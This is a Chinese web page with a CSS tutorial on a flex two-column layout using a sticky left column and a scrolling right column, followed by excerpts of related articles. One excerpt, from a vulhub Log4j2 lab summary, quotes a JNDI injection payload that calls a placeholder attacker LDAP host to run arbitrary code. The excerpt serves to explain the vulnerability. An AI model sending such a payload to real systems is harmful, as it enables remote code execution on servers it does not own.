CSS实现两栏布局,左侧固定宽高,右侧超高滚动加载

要实现左侧子元素高度固定,右侧子元素超高滚动加载,并且左侧子元素与父级元素高度一致且不跟随滚动,可以使用CSS的flex布局和overflow属性来实现。

 首先,将父级元素设置为flex布局,并将其分为左右两个子元素。左侧子元素设置为固定高度,右侧子元素设置为flex-grow: 1,以占据剩余的空间。

接下来,将右侧子元素设置为overflow: auto,这样当内容超过右侧子元素的高度时,会出现滚动条。

最后,为了使左侧子元素与父级元素高度一致且不跟随滚动,可以使用position: sticky和top: 0来固定左侧子元素在父级元素的顶部。

.parent {display: flex;}.left {height: 100%;width: 200px;background-color: #f1f1f1;position: sticky;top: 0;}.right {flex-grow: 1;overflow: auto;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/691277.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

hpp文件:C++开发中的利器

1 什么是hpp文件? hpp文件是C程序中一种特殊头文件,它可以包含类的声明和实现。与传统的h文件相比,hpp文件具有以下特点: 将类的声明和实现放在同一个文件里,减少了代码量,提高了代码的可读性。无需再将c…

Django学习笔记-创建第一个django项目

1.创建一个虚拟环境的python项目 2.点击解释器设置 3.安装django包 4.终端选择Command Prompt 5.创建django项目运行django-admin startproject demo01(自命名) 6.修改连接数据库为mysql 7.修改语言(中国汉语)和时区(亚洲上海)USE_TZ改为False,否则时区不生效 8.修改TEMPLA…

并发List、Set、ConcurrentHashMap底层原理

并发List、Set、ConcurrentHashMap底层原理 ArrayList: List特点&#xff1a;元素有放入顺序&#xff0c;元素可重复 存储结构&#xff1a;底层采用数组来实现 public class ArrayList<E> extends AbstractList<E>implements List<E>, RandomAccess, Clon…

基于Java的车辆租赁管理平台/租车系统

功能介绍 平台采用B/S结构&#xff0c;后端采用主流的Springboot框架进行开发&#xff0c;前端采用主流的Vue.js进行开发。 整个平台包括前台和后台两个部分。 前台功能包括&#xff1a;首页、车辆详情、车辆预订、用户中心模块。后台功能包括&#xff1a;车辆管理、分类管理…

从入门到精通:AI绘画与修图实战指南

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 在这篇文章中&#xff0c;我们将深入探讨如何利…

android通过广播打印ram使用信息

在内存非常吃紧的情况下&#xff0c;android设备会开始kill部分非系统进程甚至系统进程来保证基本的系统运行。在这种情况下如何获取设备过去某段时间的ram使用情况至关重要。 通过开发者模式中的“内存”可以完美得知设备内存使用信息。 我们可以通过此途径&#xff0c;设计一…

【鸿蒙系统学习笔记】ArkTS开发语言

一、背景 ArkTS是HarmonyOS优选的主力应用开发语言。ArkTS围绕应用开发在TypeScript&#xff08;简称TS&#xff09;生态基础上做了进一步扩展&#xff0c;继承了TS的所有特性&#xff0c;是TS的超集。 二、基本语法 2.1、基本语法介绍 ArkTS的基本组成&#xff0c;资料来自…

地下管线管网三维建模工具MagicPipe3D V3.4.2发布

经纬管网建模系统MagicPipe3D&#xff0c;本地离线参数化构建地下管网三维模型&#xff08;包括管道、接头、附属设施等&#xff09;&#xff0c;输出标准3DTiles服务、Obj模型等格式&#xff0c;支持Cesium、Unreal、Unity、Osg等引擎加载进行三维可视化、语义查询、专题分析&…

Python假数据生成库之mimesis使用详解

概要 在软件开发和测试过程中,经常需要使用假数据来模拟真实环境,进行测试、演示或者填充数据库。Python Mimesis 库就是一个强大的工具,可以帮助快速、方便地生成各种类型的假数据。本文将深入探讨 Mimesis 库的功能、用法和示例代码,以帮助大家更好地了解如何利用这个库…

SQL查询转化为 Elasticsearch 查询

使用SQL 转化为查询 Elasticsearch 支持 sql 语句转化为 elasticsearch 的 查询语句 第一步&#xff1a; 打开在线转换工具的网页&#xff0c;进入工具页面 第二步&#xff1a;在指定的输入框中输入需要转换的 sql 语句。 您学会了这么简单的办法

虚拟机--pc端和macOS端互通

windows开启虚拟化 要在Windows系统中开启虚拟化&#xff0c;您可以按照以下步骤操作&#xff1a; 准备工作&#xff1a; 确保您的计算机CPU支持虚拟化技术。在BIOS中开启相应的虚拟化支持。 开启虚拟化&#xff1a; 打开控制面板&#xff0c;点击程序或功能项&am…

VSCode使用Remote-SSH连接服务器时报错:启动服务器失败问题

VSCode使用Remote-SSH连接服务器时报错&#xff1a;启动服务器失败问题 问题描述解决方法引用 问题描述 第一天上班&#xff0c;回来发现又不能使用VScode连不上服务器了&#xff0c;在「输出」栏出现了一直报 Waiting for server log… 的情况&#xff01;本来以为是普通的连接…

Java多线程系列——同步关键字

目录 一、线程安全和数据不一致性 二、synchronized关键字的作用 三、synchronized工作原理 四、锁的级别 五、synchronized的优点与缺点 六、实战应用 七、总结 在Java中&#xff0c;synchronized 关键字是并发编程中的一个基本构建块&#xff0c;用于控制多个线程对共…

Spring框架-AOP(面向切面编程)

AOP&#xff0c;面向切面编程&#xff0c;指在不改变源码的情况下&#xff0c;增加方法的功能。 AOP底层使用动态代理&#xff0c;有两种情况的动态代理&#xff1a; 有接口情况下的动态代理&#xff0c;使用的是JDK动态代理&#xff0c;通过创建接口实现类的代理对象来增强类…

NVIDIA Chat with RTX

NVIDIA在2月13日发布了Chat With RTX&#xff0c;这是一款类似于ChatGPT的免费个性化 AI 聊天机器人&#xff0c;可以在配备 Nvidia RTX 显卡的 PC 上本地运行。它使用Mistral或Llama开放权重LLM&#xff0c;可以搜索本地文件并回答有关它们的问题。本文中我们一起来了解一下Ch…

国际语言代码 Language Code 对照表速查

前言 语言代码是英国教育社会学家伯恩斯坦的术语。指在一定的语言集团中&#xff0c;特定的人群在特定的社会环境下使用的特定的言语。分为限定代码&#xff08;restricted code&#xff09;和精制代码&#xff08;elaborated code&#xff09;。语言代码是由字母或数字组成的…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

提高C++运行效率技巧

提高C运行效率技巧 在C中&#xff0c;通过查表&#xff08;Look-Up Table, LUT&#xff09;来计算三角函数的数值是一种节省时间的方法&#xff0c;尤其是在需要快速计算且对精度要求不是特别高的情况下。这种方法通常用于嵌入式系统或实时应用&#xff0c;因为这些场景中对计…

lpr是什么?lpr下降哪些行业是利好?

中国人民银行授权全国银行间同业拆借中心公布&#xff0c;2024年2月20日贷款市场报价利率&#xff08;LPR&#xff09;为&#xff1a;1年期LPR为3.45%&#xff0c;5年期以上LPR为3.95%。以上LPR在下一次发布LPR之前有效。 2024年1月22日贷款市场报价利率&#xff08;LPR&#…

算法项目(4)—— 特征工程+xgboost股票预测

本文包含什么? 项目如何运行全套可运行的项目代码代码介绍运行有问题? csdn上后台随时售后.项目说明 本文主要实现使用xgboost实现股票预测,模型的输入包括上证50只股票所有的数据,预测的目标是股票的close. 使用的特征如下: ["open","high","low…